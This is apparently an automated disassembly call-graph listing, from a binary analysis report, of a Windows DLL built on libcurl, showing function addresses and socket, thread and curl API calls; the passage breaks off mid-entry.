24104->24105 24106 6bdd8381 24104->24106 24128 6bdd1f49 14 API calls __dosmaperr 24105->24128 24119 6bdd8310 24106->24119 24109 6bdd8372 24129 6bddf18d 25 API calls __fassign 24109->24129 24111 6bdd8396 CreateThread 24113 6bdd83b5 GetLastError 24111->24113 24117 6bdd83c1 24111->24117 24130 6bdd1f13 14 API calls __dosmaperr 24113->24130 24114 6bdd837d 24114->24091 24131 6bdd8282 24117->24131 24139 6bddf78d 24119->24139 24123 6bdd832e 24124 6bdd8335 GetModuleHandleExW 24123->24124 24125 6bdd8352 24123->24125 24124->24125 24126 6bdd8282 16 API calls 24125->24126 24127 6bdd835a 24126->24127 24127->24111 24127->24117 24128->24109 24129->24114 24130->24117 24132 6bdd828e 24131->24132 24133 6bdd82b2 24131->24133 24134 6bdd829d 24132->24134 24135 6bdd8294 CloseHandle 24132->24135 24133->24091 24136 6bdd82ac 24134->24136 24137 6bdd82a3 FreeLibrary 24134->24137 24135->24134 24138 6bddf7ea _free 14 API calls 24136->24138 24137->24136 24138->24133 24144 6bddf79a __dosmaperr 24139->24144 24140 6bddf7da 24153 6bdd1f49 14 API calls __dosmaperr 24140->24153 24141 6bddf7c5 RtlAllocateHeap 24143 6bdd8321 24141->24143 24141->24144 24146 6bddf7ea 24143->24146 24144->24140 24144->24141 24152 6bde48a6 EnterCriticalSection LeaveCriticalSection __dosmaperr 24144->24152 24147 6bddf7f5 RtlFreeHeap 24146->24147 24148 6bddf81e __dosmaperr 24146->24148 24147->24148 24149 6bddf80a 24147->24149 24148->24123 24154 6bdd1f49 14 API calls __dosmaperr 24149->24154 24151 6bddf810 GetLastError 24151->24148 24152->24144 24153->24143 24154->24151 24155->24098 25022 6bd8a150 FreeLibrary FreeLibrary WSACleanup 25024 6bd8ac50 30 API calls 25025 6bd84850 74 API calls 25026 6bd96f50 90 API calls 25028 6bdb4050 115 API calls 24987 6bdce5cc 91 API calls 4 library calls 24865 6bd89bc0 24866 6bd89bd6 24865->24866 24867 6bd89bcd 24865->24867 24870 6bd89be6 24866->24870 24871 6bd921a0 24866->24871 24879 6bd8a2a0 31 API calls 24867->24879 24878 6bddf78d 14 API calls 24871->24878 24872 6bd921ba 24872->24870 24873 6bd921b1 24873->24872 24880 6bdccb20 curl_getenv 24873->24880 24875 6bd92383 24881 6bd96db0 curl_slist_free_all 24875->24881 24877 6bd92442 24877->24870 24878->24873 24879->24866 24880->24875 24881->24877 24988 6bd8dbc0 193 API calls __fassign 24989 6bd829c0 recv 25029 6bd8a740 curl_easy_unescape 25030 6bd8c540 107 API calls 25032 6bdc0a40 52 API calls __fassign 24156 6bd89870 24157 6bd89879 24156->24157 24158 6bd89882 24156->24158 24160 6bd91650 24157->24160 24161 6bd9165f 24160->24161 24180 6bd91922 24160->24180 24161->24180 24182 6bda6bd0 24161->24182 24163 6bd91675 24164 6bd91689 24163->24164 24165 6bd9167f curl_multi_remove_handle 24163->24165 24166 6bd91690 curl_multi_cleanup 24164->24166 24167 6bd916a0 24164->24167 24165->24164 24166->24167 24188 6bd91ce0 24167->24188 24169 6bd916d9 24170 6bdcd050 curl_slist_free_all 24169->24170 24172 6bd91711 24170->24172 24171 6bd95320 curl_url_cleanup 24173 6bd91759 24171->24173 24172->24171 24174 6bd86520 99 API calls 24173->24174 24175 6bd91799 24174->24175 24176 6bd918fe curl_slist_free_all 24175->24176 24177 6bd91915 24176->24177 24178 6bd91d40 curl_slist_free_all curl_slist_free_all 24177->24178 24179 6bd9191b 24178->24179 24181 6bdd80b5 14 API calls 24179->24181 24180->24158 24181->24180 24183 6bda6be2 24182->24183 24187 6bda6c24 24182->24187 24183->24187 24192 6bdb9660 IsProcessorFeaturePresent SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 24183->24192 24185 6bda6c11 24186 6bdb06b0 74 API calls 24185->24186 24185->24187 24186->24187 24187->24163 24189 6bd91cf3 24188->24189 24190 6bd91650 106 API calls 24189->24190 24191 6bd91d1f 24190->24191 24192->24185 24992 6bd87bf0 5 API calls ___scrt_fastfail 24993 6bd89ff0 107 API calls ___scrt_fastfail 25033 6bd87f70 7 API calls 25034 6bd8bc70 96 API calls 2 library calls 24225 6bd983f0 24226 6bd98402 24225->24226 24231 6bd926a0 24226->24231 24228 6bd9843f 24229 6bd9841b 24229->24228 24254 6bd91bd0 24229->24254 24232 6bdacc20 2 API calls 24231->24232 24233 6bd926b9 24232->24233 24234 6bd926c8 24233->24234 24235 6bd9272c 24233->24235 24237 6bd926f9 curl_maprintf 24233->24237 24234->24229 24236 6bdbe5d0 2 API calls 24235->24236 24238 6bd92749 24236->24238 24237->24235 24241 6bd92720 24237->24241 24239 6bd9275f 24238->24239 24240 6bd92784 24238->24240 24268 6bd82a60 24239->24268 24243 6bdacc20 2 API calls 24240->24243 24241->24229 24245 6bd92790 24243->24245 24244 6bd92772 24246 6bd9277d 24244->24246 24248 6bdbe5d0 2 API calls 24244->24248 24247 6bd927b4 24245->24247 24249 6bdacc20 2 API calls 24245->24249 24246->24229 24251 6bd836a0 86 API calls 24247->24251 24250 6bd9283f 24248->24250 24249->24247 24250->24229 24252 6bd927cd 24251->24252 24252->24244 24253 6bdb06b0 74 API calls 24252->24253 24253->24244 24256 6bd91be4 24254->24256 24255 6bd91cc7 24255->24228 24256->24255 24257 6bdb06b0 74 API calls 24256->24257 24258 6bd91c5c 24257->24258 24387 6bd81000 24258->24387 24260 6bd91c62 24262 6bd91c88 24260->24262 24402 6bd828e0 closesocket 24260->24402 24264 6bd91c9d 24262->24264 24403 6bd828e0 closesocket 24262->24403 24265 6bd91cb2 24264->24265 24404 6bd828e0 closesocket 24264->24404 24265->24255 24405 6bd828e0 closesocket 24265->24405 24269 6bd82a9d 24268->24269 24270 6bdbe5d0 2 API calls 24269->24270 24272 6bd82ac8 24270->24272 24271 6bd82c83 24370 6bdb05d0 74 API calls __fassign 24271->24370 24272->24271 24280 6bd82b15 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 24272->24280 24274 6bd82c90 24274->24244 24275 6bd82c55 24279 6bd82c59 24275->24279 24369 6bda69d0 76 API calls __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 24275->24369 24277 6bd82c77 24277->24244 24279->24244 24280->24275 24281 6bd840c0 24280->24281 24282 6bd84138 __fassign 24281->24282 24283 6bd841af socket 24282->24283 24285 6bd8417c 24282->24285 24283->24285 24284 6bd841e3 24288 6bd82840 21 API calls 24284->24288 24285->24284 24368 6bd84512 24285->24368 24372 6bdaa660 ioctlsocket 24285->24372 24286 6bdcdb71 __fassign 5 API calls 24289 6bd84524 24286->24289 24290 6bd8420b 24288->24290 24289->24280 24291 6bd84212 24290->24291 24292 6bd84267 24290->24292 24373 6bdd1f49 14 API calls __dosmaperr 24291->24373 24293 6bdb06b0 74 API calls 24292->24293 24295 6bd8427c 24293->24295 24299 6bd842fb 24295->24299 24301 6bd842a8 setsockopt 24295->24301 24296 6bd84217 24374 6bdd1f49 14 API calls __dosmaperr 24296->24374 24298 6bd8421e 24375 6bdba0e0 53 API calls 3 library calls 24298->24375 24311 6bd8433a 24299->24311 24379 6bdc4f30 11 API calls 2 library calls 24299->24379 24301->24299 24302 6bd842d2 WSAGetLastError 24301->24302 24378 6bdba0e0 53 API calls 3 library calls 24302->24378 24303 6bd84232 24376 6bdb05d0 74 API calls __fassign 24303->24376 24307 6bd84341 24314 6bd843c3 setsockopt 24307->24314 24321 6bd843f4 24307->24321 24308 6bd8435e getsockopt 24312 6bd8438f setsockopt 24308->24312 24313 6bd84381 24308->24313 24309 6bd842ea 24315 6bdb06b0 74 API calls 24309->24315 24310 6bd84245 24377 6bd828e0 closesocket 24310->24377 24311->24307 24311->24308 24312->24307 24313->24307 24313->24312 24318 6bd843e8 24314->24318 24327 6bd843fc 24314->24327 24315->24299 24317 6bd844bf 24320 6bd844d6 24317->24320 24324 6bd8454c 24317->24324 24322 6bdb06b0 74 API calls 24318->24322 24319 6bd84251 24323 6bdcdb71 __fassign 5 API calls 24319->24323 24380 6bd839a0 179 API calls 2 library calls 24320->24380 24321->24317 24342 6bd8452c 24321->24342 24322->24321 24325 6bd84263 24323->24325 24371 6bdaa660 ioctlsocket 24324->24371 24325->24280 24330 6bd8442e WSAIoctl 24327->24330 24329 6bd84554 24332 6bdbe5d0 2 API calls 24329->24332 24330->24321 24333 6bd8446b WSAGetLastError 24330->24333 24331 6bd844f0 24331->24324 24334 6bd844fd 24331->24334 24335 6bd84560 24332->24335 24337 6bdb06b0 74 API calls 24333->24337 24381 6bd828e0 closesocket 24334->24381 24336 6bd8459e 24335->24336 24383 6bda69d0 76 API calls __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 24335->24383 24341 6bd8467b 24336->24341 24344 6bd845bb 24336->24344 24337->24321 24339 6bd84504 24339->24368 24346 6bdcdb71 __fassign 5 API calls 24341->24346 24382 6bd828e0 closesocket 24342->24382 24343 6bd8458a 24384 6bda69d0 76 API calls __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 24343->24384 24348 6bd84604 WSAGetLastError 24344->24348 24349 6bd845c4 connect 24344->24349 24351 6bd84692 24346->24351 24354 6bd84660 24348->24354 24355 6bd84615 24348->24355 24349->24348 24352 6bd845dd 24349->24352 24350 6bd84533 24353 6bdcdb71 __fassign 5 API calls 24350->24353 24351->24280 24357 6bd845eb 24352->24357 24352->24368 24358 6bd84548 24353->24358 24356 6bdcdb71 __fassign 5 API calls 24354->24356 24355->24354 24359 6bd84623 24355->24359 24361 6bd84677 24356->24361 24362 6bdcdb71 __fassign 5 API calls 24357->24362 24358->24280 24385 6bdba0e0 53 API calls 3 library calls 24359->24385 24361->24280 24364 6bd84600 24362->24364 24363 6bd84635 24365 6bdb06b0 74 API calls 24363->24365 24364->24280 24366 6bd84645 24365->24366 24386 6bd828e0 closesocket 24366->24386 24368->24286 24369->24277 24370->24274 24371->24329 24372->24284 24373->24296 24374->24298 24375->24303 24376->24310 24377->24319 24378->24309 24379->24311 24380->24331 24381->24339 24382->24350 24383->24343 24384->24336 24385->24363 24386->24368 24388 6bd815c0 24387->24388 24389 6bd81649 24388->24389 24390 6bd815d0 EnterCriticalSection LeaveCriticalSection 24388->24390 24389->24260 24391 6bd81609 24390->24391 24392 6bd815fd 24390->24392 24394 6bd8160e 24391->24394 24395 6bd81617 24391->24395 24406 6bd89150 CloseHandle 24392->24406 24407 6bd89160 WaitForSingleObjectEx CloseHandle 24394->24407 24408 6bd81670 DeleteCriticalSection closesocket ___scrt_fastfail 24395->24408 24396 6bd81604 24399 6bd81620 24396->24399 24401 6bd81641 closesocket 24399->24401 24400 6bd81614 24400->24395 24401->24389 24402->24262 24403->24264 24404->24265 24405->24255 24406->24396 24407->24400 24408->24399 24829 6bda7d70 24830 6bdbe5d0 2 API calls 24829->24830 24831 6bda7d97 24830->24831 24832 6bda7e5c 24831->24832 24833 6bda7db5 24831->24833 24834 6bdcdb71 __fassign 5 API calls 24832->24834 24835 6bda7dbd 24833->24835 24836 6bda7dd1 24833->24836 24837 6bda7e6e 24834->24837 24838 6bdcdb71 __fassign 5 API calls 24835->24838 24846 6bda7df1 24836->24846 24849 6bda88f0 24836->24849 24839 6bda7dcd 24838->24839 24842 6bda7e34 24847 6bda7e46 24842->24847 24862 6bda7580 7 API calls 24842->24862 24845 6bdcdb71 __fassign 5 API calls 24848 6bda7e58 24845->24848 24846->24842 24860 6bdb9490 IsProcessorFeaturePresent SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 24846->24860 24861 6bda7680 IsProcessorFeaturePresent SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 24846->24861 24847->24845 24850 6bda9a08 24849->24850 24859 6bda8912 24849->24859 24850->24836 24851 6bd83580 7 API calls 24851->24859 24852 6bda69d0 76 API calls 24852->24859 24854 6bda991d curl_pushheader_bynum 24854->24859 24855 6bdb05d0 74 API calls 24855->24859 24857 6bda83d0 138 API calls 24857->24859 24858 6bd91bd0 83 API calls 24858->24859 24859->24850 24859->24851 24859->24852 24859->24854 24859->24855 24859->24857 24859->24858 24863 6bda6cb0 74 API calls 24859->24863 24864 6bdacd80 93 API calls 24859->24864 24860->24846 24861->24846 24862->24847 24863->24859 24864->24859 25035 6bda7c70 110 API calls 25036 6bdc2170 6 API calls __fassign 24994 6bd8d8e0 119 API calls _strstr 24995 6bd87de0 gethostname ___from_strstr_to_strchr 24996 6bd8a4e0 curl_msnprintf 25038 6bd81260 76 API calls __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 25039 6bd8a760 125 API calls __fassign 25040 6bd85c60 30 API calls 2 library calls 24998 6bda81e0 140 API calls 24999 6bda48e0 curl_mvaprintf 25042 6bda3760 51 API calls 2 library calls 24955 6bdb07e0 recv 24956 6bdb07fb WSAGetLastError 24955->24956 24957 6bdb081e 24955->24957 25043 6bdb4160 108 API calls 25000 6bd8a190 31 API calls 25001 6bd89190 79 API calls ___from_strstr_to_strchr 25002 6bd89890 101 API calls ___scrt_fastfail 25044 6bd8e710 191 API calls 25045 6bd8a610 47 API calls 25046 6bd96310 GetEnvironmentVariableA 25047 6bd92c10 87 API calls 24747 6bda7990 24748 6bda79b4 24747->24748 24752 6bda799f 24747->24752 24749 6bda7a25 24756 6bd81e00 24749->24756 24752->24748 24752->24749 24764 6bda83d0 24752->24764 24753 6bda7a2f 24754 6bda7a5d WSACloseEvent 24753->24754 24755 6bda7a73 24754->24755 24757 6bd81fcc 24756->24757 24763 6bd81e2b 24756->24763 24758 6bdcdb71 __fassign 5 API calls 24757->24758 24759 6bd81fda 24758->24759 24759->24753 24760 6bd81f9d 24760->24757 24761 6bd91650 106 API calls 24760->24761 24761->24757 24762 6bd91bd0 83 API calls 24762->24763 24763->24760 24763->24762 24765 6bda83ff 24764->24765 24766 6bda8533 24764->24766 24793 6bd814e0 24765->24793 24768 6bdcdb71 __fassign 5 API calls 24766->24768 24769 6bda8560 24768->24769 24769->24752 24772 6bda84e1 24772->24766 24773 6bda8564 24772->24773 24812 6bd97df0 24773->24812 24774 6bda8473 24774->24772 24822 6bda69d0 76 API calls __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 24774->24822 24777 6bda8595 24779 6bda863f curl_msnprintf 24777->24779 24784 6bda86e9 24777->24784 24780 6bda86a1 24779->24780 24823 6bd824b0 85 API calls 24780->24823 24782 6bd91bd0 83 API calls 24785 6bda86d8 24782->24785 24783 6bda86b3 24783->24785 24786 6bdb06b0 74 API calls 24783->24786 24784->24782 24818 6bdd80b5 24785->24818 24786->24785 24788 6bd91ce0 106 API calls 24789 6bda8743 24788->24789 24790 6bdcdb71 __fassign 5 API calls 24789->24790 24791 6bda8755 24790->24791 24791->24752 24794 6bd814f1 24793->24794 24795 6bd81506 24793->24795 24794->24795 24796 6bd814f6 24794->24796 24798 6bd81649 24795->24798 24799 6bd815d0 EnterCriticalSection LeaveCriticalSection 24795->24799 24824 6bd89160 WaitForSingleObjectEx CloseHandle 24796->24824 24798->24774 24821 6bdac6d0 94 API calls 24798->24821 24800 6bd81609 24799->24800 24801 6bd815fd 24799->24801 24804 6bd8160e 24800->24804 24805 6bd81617 24800->24805 24825 6bd89150 CloseHandle 24801->24825 24802 6bd814fc 24802->24795 24826 6bd89160 WaitForSingleObjectEx CloseHandle 24804->24826 24827 6bd81670 DeleteCriticalSection closesocket ___scrt_fastfail 24805->24827 24806 6bd81604 24809 6bd81620 24806->24809 24811 6bd81641 closesocket 24809->24811 24810 6bd81614 24810->24805 24811->24798 24816 6bd97e0d 24812->24816 24817 6bd97e32 24812->24817 24813 6bdcdb71 __fassign 5 API calls 24814 6bd97e7a 24813->24814 24814->24777 24816->24817 24828 6bdd6edc 26 API calls 24816->24828 24817->24813 24819 6bddf7ea _free 14 API calls 24818->24819 24820 6bda8733 24819->24820 24820->24788 24821->24774 24822->24772 24823->24783 24824->24802 24825->24806 24826->24810 24827->24809 24828->24817 24882 6bd8a080 24883 6bd8a097 24882->24883 24884 6bd8a09e 24883->24884 24887 6bd8a230 24883->24887 24886 6bd8a0b6 24888 6bd8a23b 24887->24888 24889 6bd8a241 24887->24889 24888->24886 24890 6bd8a24a 24889->24890 24894 6bd8a260 24889->24894 24897 6bdb05d0 74 API calls __fassign 24890->24897 24892 6bd8a255 24892->24886 24893 6bd8a28c 24893->24886 24894->24893 24898 6bdb05d0 74 API calls __fassign 24894->24898 24896 6bd8a281 24896->24886 24897->24892 24898->24896 25005 6bd87e80 11 API calls 25006 6bd8de80 198 API calls 2 library calls 25049 6bd8bc00 curl_formfree 25050 6bd89c00 78 API calls __fassign 25007 6bd97e80 83 API calls 2 library calls 24899 6bda7e80 24902 6bda6ef0 24899->24902 24901 6bda7e9b 24903 6bda747b 24902->24903 24904 6bda6f24 24902->24904 24905 6bdcdb71 __fassign 5 API calls 24903->24905 24904->24903 24906 6bda6f30 24904->24906 24907 6bda748c 24905->24907 24908 6bda6f4b 24906->24908 24909 6bda6f38 24906->24909 24907->24901 24910 6bda6f53 24908->24910 24916 6bda6f69 24908->24916 24911 6bdcdb71 __fassign 5 API calls 24909->24911 24912 6bdcdb71 __fassign 5 API calls 24910->24912 24913 6bda6f47 24911->24913 24915 6bda6f65 24912->24915 24913->24901 24915->24901 24946 6bda9c30 24916->24946 24917 6bda71fa 24918 6bda720e WSAWaitForMultipleEvents 24917->24918 24924 6bda73fc 24917->24924 24926 6bda722e 24918->24926 24943 6bda72eb 24918->24943 24919 6bda7231 WSAEnumNetworkEvents 24922 6bda72c2 WSAEventSelect 24919->24922 24919->24926 24920 6bda7452 24923 6bdcdb71 __fassign 5 API calls 24920->24923 24921 6bda73ed WSAResetEvent 24921->24924 24922->24919 24922->24943 24927 6bda7461 24923->24927 24924->24920 24931 6bda9c30 7 API calls 24924->24931 24925 6bdafef0 14 API calls 24938 6bda70e1 24925->24938 24926->24919 24926->24922 24927->24901 24928 6bda6fd6 24930 6bda70ab WSAEventSelect 24928->24930 24932 6bdb03a0 16 API calls 24928->24932 24928->24938 24929 6bda71cb WSAEventSelect 24933 6bda7465 24929->24933 24929->24938 24930->24928 24930->24933 24940 6bda742f 24931->24940 24932->24928 24934 6bdcdb71 __fassign 5 API calls 24933->24934 24937 6bda7477 24934->24937 24935 6bda7337 WSAEnumNetworkEvents 24935->24943 24936 6bda73ea 24936->24921 24937->24901 24938->24917 24938->24925 24938->24929 24939 6bda73b6 WSAEventSelect 24939->24943 24940->24920 24941 6bda7445 24940->24941 24953 6bdb04d0 WSASetLastError Sleep 24941->24953 24943->24921 24943->24935 24943->24936 24943->24939 24945 6bdb03a0 16 API calls 24943->24945 24944 6bda744f 24944->24920 24945->24943 24947 6bda9c49 24946->24947 24948 6bda9d12 24946->24948 24949 6bdbe5d0 2 API calls 24947->24949 24948->24928 24950 6bda9c52 24949->24950 24954 6bdb9340 5 API calls __fassign 24950->24954 24952 6bda9c77 24952->24928 24953->24944 24954->24952 25010 6bda3980 curl_slist_free_all 25051 6bda8300 26 API calls 25053 6bdcd900 curl_getenv 24193 6bd89e30 24194 6bd89e3e 24193->24194 24195 6bd89e46 24193->24195 24196 6bd89e59 24195->24196 24197 6bd89e71 24195->24197 24218 6bdb05d0 74 API calls __fassign 24196->24218 24199 6bd89e82 24197->24199 24211 6bda6da0 24197->24211 24200 6bd89eab curl_multi_setopt curl_multi_add_handle 24199->24200 24201 6bd89e8b 24199->24201 24204 6bd89eca curl_multi_cleanup 24200->24204 24205 6bd89ef1 24200->24205 24202 6bd89e64 24206 6bd89f50 curl_multi_remove_handle 24205->24206 24207 6bd89ef7 curl_multi_poll 24205->24207 24209 6bd89f29 curl_multi_info_read 24205->24209 24207->24206 24208 6bd89f11 curl_multi_perform 24207->24208 24208->24205 24208->24206 24209->24205 24210 6bd89f3a curl_multi_remove_handle 24209->24210 24212 6bda6db1 24211->24212 24217 6bda6dba 24212->24217 24219 6bd82370 curl_easy_init 24212->24219 24214 6bda6e06 24215 6bd98a20 2 API calls 24214->24215 24214->24217 24216 6bda6e44 WSACreateEvent 24215->24216 24216->24217 24217->24199 24218->24202 24220 6bd82387 24219->24220 24222 6bd82390 24219->24222 24220->24214 24221 6bd823c2 24221->24214 24222->24221 24223 6bd91650 106 API calls 24222->24223 24224 6bd823b8 24223->24224 24224->24214 24409 6bd91930 24410 6bd9194e 24409->24410 24411 6bd91650 106 API calls 24410->24411 24412 6bd9197a 24411->24412 24413 6bd91650 106 API calls 24412->24413 24414 6bd91986 ___scrt_fastfail 24413->24414 24441 6bd92ea0 24414->24441 24416 6bd919b8 24417 6bdacc20 2 API calls 24416->24417 24421 6bd91a5e 24416->24421 24428 6bd919d1 24416->24428 24418 6bd919f8 24417->24418 24419 6bd91a0a 24418->24419 24420 6bd91a66 24418->24420 24423 6bd91a37 curl_maprintf 24418->24423 24422 6bdbe5d0 2 API calls 24420->24422 24425 6bd91bd0 83 API calls 24421->24425 24421->24428 24424 6bd91a83 24422->24424 24423->24420 24423->24421 24426 6bd91a99 24424->24426 24427 6bd91acb 24424->24427 24425->24428 24430 6bd82a60 197 API calls 24426->24430 24429 6bdacc20 2 API calls 24427->24429 24431 6bd91ad7 24429->24431 24432 6bd91aac 24430->24432 24434 6bd91afb 24431->24434 24435 6bdacc20 2 API calls 24431->24435 24432->24421 24433 6bd91b7d 24432->24433 24436 6bdbe5d0 2 API calls 24433->24436 24438 6bd836a0 86 API calls 24434->24438 24435->24434 24437 6bd91b89 24436->24437 24439 6bd91b17 24438->24439 24439->24433 24440 6bdb06b0 74 API calls 24439->24440 24440->24433 24442 6bd92ed5 24441->24442 24443 6bd92ef8 24442->24443 24444 6bd92f10 24442->24444 24445 6bdcdb71 __fassign 5 API calls 24443->24445 24538 6bd92910 24444->24538 24447 6bd92f0c 24445->24447 24447->24416 24448 6bd92f16 24449 6bd92f1f 24448->24449 24548 6bd94aa0 24448->24548 24451 6bdcdb71 __fassign 5 API calls 24449->24451 24452 6bd92f33 24451->24452 24452->24416 24453 6bd93251 24454 6bdcdb71 __fassign 5 API calls 24453->24454 24456 6bd9370c 24454->24456 24456->24416 24457 6bd92f40 24457->24449 24457->24453 24588 6bd93a10 24457->24588 24459 6bd92fe4 24621 6bd94190 24459->24621 24461 6bd92fac curl_msnprintf curl_url_set 24461->24449 24461->24459 24464 6bd9308e 24464->24453 24639 6bd91e00 24464->24639 24467 6bd930ca 24467->24453 24469 6bd930ed 24467->24469 24470 6bd91e00 74 API calls 24467->24470 24468 6bd91e00 74 API calls 24468->24467 24469->24453 24471 6bd91e00 74 API calls 24469->24471 24472 6bd93110 24469->24472 24470->24469 24471->24472 24472->24453 24473 6bd93295 24472->24473 24474 6bd931fc 24472->24474 24473->24449 24475 6bd93469 24473->24475 24487 6bd93275 24474->24487 24670 6bd81be0 7 API calls __fassign 24474->24670 24477 6bdbe5d0 2 API calls 24475->24477 24476 6bd91e50 2 API calls 24478 6bd9327f 24476->24478 24495 6bd93472 24477->24495 24479 6bdcdb71 __fassign 5 API calls 24478->24479 24481 6bd93291 24479->24481 24481->24416 24482 6bd93235 24482->24453 24483 6bd95230 curl_maprintf 24482->24483 24484 6bd93248 24483->24484 24484->24453 24485 6bd93265 24484->24485 24671 6bdbf7a0 76 API calls 24485->24671 24487->24476 24488 6bd93635 24491 6bd936d8 24488->24491 24673 6bd82200 6 API calls __fassign 24488->24673 24490 6bd935b0 24490->24488 24504 6bd935b7 24490->24504 24492 6bdb06b0 74 API calls 24491->24492 24492->24453 24493 6bd93542 24493->24488 24672 6bd90d50 97 API calls 24493->24672 24495->24493 24496 6bd91bd0 83 API calls 24495->24496 24496->24495 24497 6bd9367a 24500 6bd936c2 24497->24500 24674 6bd82000 QueryPerformanceCounter GetTickCount 24497->24674 24498 6bd93752 24676 6bd81be0 7 API calls __fassign 24498->24676 24500->24498 24675 6bd820c0 QueryPerformanceCounter GetTickCount 24500->24675 24501 6bd9369c 24505 6bd936b9 24501->24505 24506 6bd936c7 24501->24506 24508 6bdb06b0 74 API calls 24504->24508 24509 6bd91bd0 83 API calls 24505->24509 24510 6bdb06b0 74 API calls 24506->24510 24507 6bd9373e 24511 6bd93749 24507->24511 24512 6bd93823 24507->24512 24513 6bd9362d 24508->24513 24509->24500 24510->24491 24516 6bd91bd0 83 API calls 24511->24516 24515 6bdb06b0 74 API calls 24512->24515 24643 6bd91e50 24513->24643 24514 6bd9378d 24514->24513 24520 6bdb06b0 74 API calls 24514->24520 24515->24491 24516->24498 24517 6bd93768 24517->24453 24517->24514 24519 6bdb06b0 74 API calls 24517->24519 24519->24514 24520->24513 24521 6bd937d4 24647 6bd95230 24521->24647 24525 6bd93808 24526 6bd938ff 24525->24526 24527 6bd93845 24525->24527 24529 6bd93819 24525->24529 24528 6bd98740 162 API calls 24526->24528 24526->24529 24527->24529 24665 6bd98740 24527->24665 24533 6bd93949 24528->24533 24529->24453 24530 6bd939e3 24529->24530 24532 6bdcdb71 __fassign 5 API calls 24530->24532 24535 6bd93a01 24532->24535 24533->24529 24678 6bdb05d0 74 API calls __fassign 24533->24678 24535->24416 24536 6bd938ae 24536->24529 24677 6bdb05d0 74 API calls __fassign 24536->24677 24539 6bd92924 24538->24539 24540 6bd9292d 24539->24540 24541 6bdbe5d0 2 API calls 24539->24541 24540->24448 24542 6bd929e9 24541->24542 24543 6bdbe5d0 2 API calls 24542->24543 24544 6bd929fc 24543->24544 24545 6bdbe5d0 2 API calls 24544->24545 24547 6bd92b82 24544->24547 24546 6bd92bef 24545->24546 24546->24448 24547->24448 24549 6bd94ab3 24548->24549 24679 6bd95320 24549->24679 24551 6bd94ac8 24552 6bd94acf curl_url_dup 24551->24552 24553 6bd94ae4 curl_url 24551->24553 24554 6bd94aee 24552->24554 24553->24554 24555 6bd94b53 24554->24555 24564 6bd94ba3 24554->24564 24682 6bdc05b0 47 API calls 24554->24682 24556 6bd94b68 curl_url_set 24555->24556 24557 6bd94c0e curl_url_get 24555->24557 24559 6bd94bd2 curl_url_get 24556->24559 24556->24564 24557->24564 24566 6bd94c2a 24557->24566 24561 6bd94be7 24559->24561 24559->24564 24560 6bd94c5e 24687 6bdb05d0 74 API calls __fassign 24560->24687 24561->24557 24562 6bd94b32 curl_maprintf 24562->24555 24562->24564 24564->24457 24565 6bd94b14 24565->24555 24565->24562 24566->24560 24567 6bd94c87 curl_url_get 24566->24567 24568 6bd94cde 24567->24568 24569 6bd94cb1 24567->24569 24568->24564 24570 6bd94d04 curl_url_get 24568->24570 24683 6bd8a3c0 47 API calls 24569->24683 24572 6bd94d1c 24570->24572 24573 6bd94d49 24570->24573 24684 6bd8a3c0 47 API calls 24572->24684 24573->24564 24575 6bd94d6b curl_url_get 24573->24575 24576 6bd94d83 24575->24576 24576->24564 24577 6bd94db1 curl_url_get 24576->24577 24578 6bd94dc9 24577->24578 24579 6bd94de0 curl_url_get 24577->24579 24578->24564 24578->24579 24579->24564 24580 6bd94dfc curl_url_get 24579->24580 24581 6bd94e37 24580->24581 24582 6bd94e14 24580->24582 24685 6bdd89b6 47 API calls 24581->24685 24584 6bd94e2b 24582->24584 24585 6bd94e5e curl_url_get 24582->24585 24584->24457 24585->24564 24586 6bd94e7c 24585->24586 24586->24564 24686 6bd95400 75 API calls __dosmaperr 24586->24686 24589 6bd93a68 24588->24589 24590 6bd93ace 24588->24590 24591 6bd93aa3 24589->24591 24688 6bd8a3c0 47 API calls 24589->24688 24592 6bd93b17 24590->24592 24597 6bd93aff 24590->24597 24616 6bd93b0a 24590->24616 24591->24590 24591->24616 24689 6bd8a3c0 47 API calls 24591->24689 24593 6bd93b4d 24592->24593 24601 6bd93b37 24592->24601 24596 6bd93b56 curl_getenv 24593->24596 24611 6bd93b94 ___from_strstr_to_strchr 24593->24611 24598 6bd93b6e curl_getenv 24596->24598 24599 6bd93b86 24596->24599 24690 6bdb05d0 74 API calls __fassign 24597->24690 24598->24599 24598->24611 24602 6bdb06b0 74 API calls 24599->24602 24691 6bdb05d0 74 API calls __fassign 24601->24691 24602->24611 24604 6bd93d5b curl_getenv 24606 6bd93dd0 24604->24606 24614 6bd93d8f 24604->24614 24607 6bd93dda curl_getenv 24606->24607 24608 6bd93e0e 24606->24608 24607->24608 24609 6bd93df4 curl_getenv 24607->24609 24610 6bdb06b0 74 API calls 24608->24610 24609->24608 24612 6bd93e1c 24609->24612 24610->24612 24611->24604 24611->24612 24692 6bdd94c5 47 API calls 24611->24692 24618 6bd93e86 24612->24618 24693 6bd94770 85 API calls 24612->24693 24613 6bdcdb71 __fassign 5 API calls 24617 6bd92f71 24613->24617 24614->24606 24620 6bd93db9 curl_getenv 24614->24620 24616->24613 24617->24453 24617->24459 24617->24461 24618->24616 24694 6bd94770 85 API calls 24618->24694 24620->24606 24625 6bd941b1 24621->24625 24623 6bd9431b curl_url_set 24624 6bd943af 24623->24624 24629 6bd93000 24623->24629 24627 6bd943b3 curl_url_set 24624->24627 24624->24629 24628 6bd94308 24625->24628 24625->24629 24695 6bdaa120 79 API calls 24625->24695 24626 6bd942f0 24626->24628 24630 6bdb06b0 74 API calls 24626->24630 24627->24629 24628->24623 24628->24624 24628->24629 24629->24449 24629->24453 24631 6bd94590 24629->24631 24630->24628 24632 6bd94750 24631->24632 24633 6bd945a9 ___from_strstr_to_strchr 24631->24633 24632->24464 24633->24632 24634 6bd945de curl_maprintf 24633->24634 24638 6bdb06b0 74 API calls 24633->24638 24696 6bdd8962 47 API calls 24633->24696 24697 6bd943e0 74 API calls ___from_strstr_to_strchr 24633->24697 24634->24633 24635 6bd94759 24634->24635 24635->24464 24638->24633 24640 6bd91e15 24639->24640 24642 6bd91e2d 24639->24642 24641 